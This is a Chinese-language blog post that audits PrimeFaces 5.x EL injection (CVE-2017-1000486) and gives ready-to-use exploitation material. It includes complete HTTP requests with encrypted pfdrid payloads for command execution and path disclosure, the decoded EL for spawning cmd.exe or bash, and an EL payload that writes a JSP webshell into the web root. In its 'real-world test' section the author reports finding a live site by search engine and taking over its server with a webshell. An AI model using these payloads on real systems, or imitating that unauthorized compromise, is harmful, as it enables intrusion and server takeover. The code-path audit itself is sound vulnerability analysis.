primefaces 5.x 表达式注入(CVE-2017-1000486)代码审计和漏洞利用

前言

2020年暑假刚学安全那会儿,去一个安全公司实习,负责做等保渗透。通过扫描器awvs扫到了一个primefaces5.x Expression Language inject漏洞。当时awvs爆了高危,百度一搜索,发现这个漏洞能够执行系统命令,当时开心了好久好久。但是就是不明所以,pfdrid值为嘛是这个,为什么请求参数里面带cmd就可以执行命令。

image

primefaces5.x Expression Language inject

环境搭建

下载存在漏洞的war包

https://github.com/pimps/CVE-2017-1000486

image

将这个war包下载下来,并解压,然后用IDEA打开。

配置tomcat

在右上角点击add Configurations->+->Tomcat Server->Local

image

添加tomcat

image

点击Deployment->+,选择你刚刚解压的项目根目录。

image

最后点击OK.

配置JDK

在左上角的功能菜单File->Project Structure->Project Settings->Project里面设置一下jdk

image

运行war包

点击右上角的Run

环境也就搭建起来了。

image

互联网流程payload

命令执行payload

互联网流传的payload如下:

1
2
3
4
5
6
7
8
9
POST /showcase_5_2/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.1.101:8080
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Connection: close
Content-Length: 1493

pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV/KAe9gtw54DSQCl72JjEAsHTRvxAuJC+/IFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf/cNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv+Eo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c+GvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy+ZLezLj6vK+pVFyKR7s8xN5Ol1tz/G0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM/cwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16/I7eog15OBl4Kco/VjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH+N7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO+Eb/60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF/ciVuZGssKeVT/gR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx/qFUj+DikXHLvbUMrMlNAqSFJpqoy/QywVdBmlVdx+vJelZEK+BwNF9J4p/1fQ8wJZL2LB9SnqxAKr5kdCs0H/vouGHAXJZ+Jzx5gcCw5h6/p3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D/ukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd+LylDFB3dcYIgZtZoaSMAV3pyNoOzHy+1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3+9h0aurkyJVR28jIQlF4nT0nZqpixP/nc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl+zoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH+OwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE+lsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU=&cmd=whoami

可以看见命令执行是成功的。

image

获取网站目录的payload

1
2
3
4
5
6
7
8
9
POST /showcase_5_2/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.1.101:8080
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Connection: close
Content-Length: 394

pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5+OpbBXfBSCSkb2z5x8Cb2P/DS2BUn7odA0GflWHV+9J8uLGYIqPK9HY85O+Jw0u5X9urorJfQZKJihsLCV+nqyXHs8i6uh4iIboLA2TZUiTbjc3SfybUTvPCjRdyT6rCe6MPQGqHYkBiX3K7fGPuwJ2XNONXI9N2Sup5MWcUUo87FbX3jESvOq2Bs3sDKU4bW3aCGbhUcA2ZEgSxkLcW6VKDnXV5hxvz6J4a4E6P8HCy9v8+drRzmtKbwczXk+9n8Lm2KYS/k2TJKpeKjPg0t+AiKzTiqak=

网站目录也是能正常获取的。

image

漏洞复现是完全没问题的,接下来也就是审计这个漏洞是怎么触发的。

代码审计

发送弹计算器的数据包

1
2
3
4
5
6
7
8
9
POST /showcase_5_2/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.1.101:8080
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Connection: close
Content-Length: 278

pfdrt=sc&ln=primefaces&pfdrid=sVElCvCKCBaHjKKuVSyfMxoODmSSVScmVcHMtaP8X7vkHLD9V0roHtnJaAfK7DtKdhQeX0UTMAMdK69/VjizVdn/r2RoUO6G9lSF4/nJlBBuHNp4NAts+Pq1oSzYjeswR08la2PfX5H6YsBntFvRUQV5ocmw/gimlL3GqerPgPdaybS86rVijZlDROSgkLNg+KByZ0LULpDarSkFxUg7zW6V3oc/vRZN/FRcgTmLRBAnAQW8ESzWwg==

idea进入调试模式(中间的审计部分截图里的payload不是弹计算器的,写文章的时候忘记了)。

web.xml里面

*.jsf*.xhtml都是用javax.faces.webapp.FacesServlet来处理的。

image

进入到javax.faces.webapp.FacesServlet.service

执行到handler.handleResourceRequest,这段代码的作用是去匹配请求数据里的参数。

此时请求上下文中的context对象是PrimeFacesContext

image

进入到org.primefaces.application.resource.PrimeResourceHandler

image

可以看见在handleResourceRequest方法里面,首先先获取了pfdrtlnpfdrid参数和参数值,将pfdrt的值赋值给handlertype。且handler的值不为空,因此进入if逻辑

进入到org.primefaces.application.resource.StreamedContentHandler.handler

并初始化了strEn,其变量类型是StringEncrypter

image

进入到该初始化的流程。
org.primefaces.context.DefaultRequestContext.getEncrypter

执行到this.encrypter = new StringEncrypter(this.getApplicationContext().getConfig().getSecretKey());

该方法是用来初始化密钥了

image

进入到org.primefaces.util.StringEncrypter

可以看见该流程是用来初始化构造参数的。

分别初始化了密钥salt

密钥是值是primefaces

salt的值是一个字节数组{-87, -101, -56, 50, 86, 52, -29, 3}

image

此时执行到org.primefaces.application.resource.StreamedContentHandler.handler

String dynamicContentEL = strEn.decrypt(dynamicContentId);

pfdrid的值进行解密操作。

解密后的值,也就是一个el表达式

image

此时dynamicContentEL的值不为空,进入if逻辑。

发现此处有ValueExpressioncreateValueExpression

它是el的对象和方法,它可以用来动态执行java代码

image

也正是因为ValueExpression ve = context.getApplication().getExpressionFactory().createValueExpression(context.getELContext(), dynamicContentEL, StreamedContent.class);中的dynamicContentEL值可控,所以才导致了代码执行漏洞的产生。

image

因此计算器也成功弹了出来。

image

漏洞利用

编写PrimeFaces5.X表达式注入-Tools

由于分析,知道了该算法是des,密钥是primefaces,salt是{-87, -101, -56, 50, 86, 52, -29, 3}

因此写了一个小工具方便我快速的对el表达式的内容进行加密,对payload进行解密操作。

image

首先看看互联网流程的那个能命令执行的payload所对应的el表达式是什么。

image

1
2
3
4
5
6
7
${facesContext.getExternalContext().setResponseHeader("Content-Type", "text/plain;charset=UTF-8")}
${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
${session.getAttribute("scriptengine").eval("var os=java.lang.System.getProperty(\"os.name\");var cmd=null;var args=null;if(os.toLowerCase().contains(\"win\")){cmd=\"cmd.exe\";args=\"/C\";}else{cmd=\"/bin/bash\";args=\"-c\";}var proc = new java.lang.ProcessBuilder(cmd,args,\"".concat(request.getParameter("cmd")).concat("\").start();var is=proc.getInputStream();var sc=new java.util.Scanner(is,\"UTF-8\");var out=\"\";while(sc.hasNext()){out+=sc.nextLine()+String.fromCharCode(10);}print(out);"))}
${facesContext.getExternalContext().getResponse().getWriter().flush()}
${facesContext.getExternalContext().getResponse().getWriter().close()}

解读el表达式

${facesContext.getExternalContext().setResponseHeader("Content-Type", "text/plain;charset=UTF-8")}

facesContext是上下文的请求对象,第一行是用于设置响应头中的编码格式,防止中文乱码。

1
2
${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}

以反射方式,创建ScriptEngineManager对象,并将其存于session中。

${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}

从session中获取创建的ScriptEngineManager对象,使用setWriter()方法重定向输出到facesContext中的响应writer中。
简单的说,做命令执行回显用的。

1
2
3
${session.getAttribute("scriptengine").eval("var os=java.lang.System.getProperty(\"os.name\");var cmd=null;var args=null;if(os.toLowerCase().contains(\"win\")){cmd=\"cmd.exe\";args=\"/C\";}else{cmd=\"/bin/bash\";args=\"-c\";}var proc = new java.lang.ProcessBuilder(cmd,args,\"".concat(request.getParameter("cmd")).concat("\").start();var is=proc.getInputStream();var sc=new java.util.Scanner(is,\"UTF-8\");var out=\"\";while(sc.hasNext()){out+=sc.nextLine()+String.fromCharCode(10);}print(out);"))}
${facesContext.getExternalContext().getResponse().getWriter().flush()}
${facesContext.getExternalContext().getResponse().getWriter().close()}

这段更好理解了,也就是自定义一个js脚本,动态执行java代码,并关闭输出流。

漏洞检测

网上的漏洞检测方法是

1
2
3
${facesContext.getExternalContext().getResponse().getWriter().println("hacker by keep")}
${facesContext.getExternalContext().getResponse().getWriter().flush()}
${facesContext.getExternalContext().getResponse().getWriter().close()}

1
uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3wYMlt0MXkqO5+OpbBXfBSMpXaCImUIdC+Vcdl+OQkO+kRp3mfDKaZJLIrQ6RBawD91M0MbRRpdmdrKwDK98lezVy9zwWs6J7r+sux7TTcUFklTt+3t3u7nvBKV8stWpZCGXvIz7y53H1SkdN2vqkwSoecoGeVkpNtgzE44iHo5rVzA6gleX+k4v1I8Xd9jBfojgvpekUF2neIFjucRf742iahxeKVgrRV8WylWfThQpNWKVPUu0tWA==

也就是直接判断响应信息里面是否包含该字符串。

image

但是可以直接设置在响应头里
${facesContext.getExternalContext().getResponse().setHeader("hello","hacker")}

1
uMKljPgnOTVxmOB+H6/QEPW9ghJMGL3PRdkfmbiiPkV9XxzneUPyMM8BUxgtfxF3PPQFlQBUCSTOWgBpj7QfzTYJj9nQQ/QC2Xi7X51bIqY=

个人感觉这种方式的好处是payload比较短了

image

GETSHELL

能动态执行java,那就直接通过代码执行写马。通过命令执行的方式写马,特征太明显了。

一开始是想通过表达式注入,注入一个tomcat内存马,结果死活不行。后面放弃了,直接落地jsp文件吧。

直接贴payload了

1
2
3
4
5
6
7
${facesContext.getExternalContext().setResponseHeader("Content-Type", "text/plain;charset=UTF-8")}
${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
${session.getAttribute("scriptengine").eval("var b=\"".concat(request.getSession().getServletContext().getRealPath("/").replace("\\","//")).concat("\";var buf = new java.io.BufferedWriter(new java.io.FileWriter(b+\"/12.jsp\"));buf.write(new java.lang.String(java.net.URLDecoder.decode(\"%3C%25out.println(123)%3B%25%3E\")));buf.close();print(\"success\");"))}
${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}

将java.net.URLDecoder.decode的值换成你自己经过urlencode的webshell即可。

一开始是用的base64,本地测试没问题,找了一个同样有该漏洞的站,结果内容写失败了。最后换成了url编码就解决了

image

实战测试

通过搜素引擎,找到一个使用了primefaces的网站。并存在表达式注入漏洞。

image

直接利用代码执行写入webshell,拿下服务器。

image

总结

学着审计了一下两年前通过AWVS扫到的漏洞,心里还是很感慨的。这个漏洞是由于硬编码导致了el表达式注入漏洞。而硬编码的问题却是许多开发注意不到的问题。有时候测试环境将某个值写进去了,方便开发。结果系统上线时,忘记删了,这也是一种很常见的情况。

参考

https://github.com/pimps/CVE-2017-1000486
https://www.cnblogs.com/jdr-gbl/p/14034412.html
https://www.jianshu.com/p/88c6a7c76dbe
https://mp.weixin.qq.com/s/nCvAICapO8NX--VfToLcwQ

Author: jdr
Link: https://jdr2021.github.io/2022/11/19/primefaces-5-x-表达式注入-CVE-2017-1000486-代码审计和漏洞利用/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.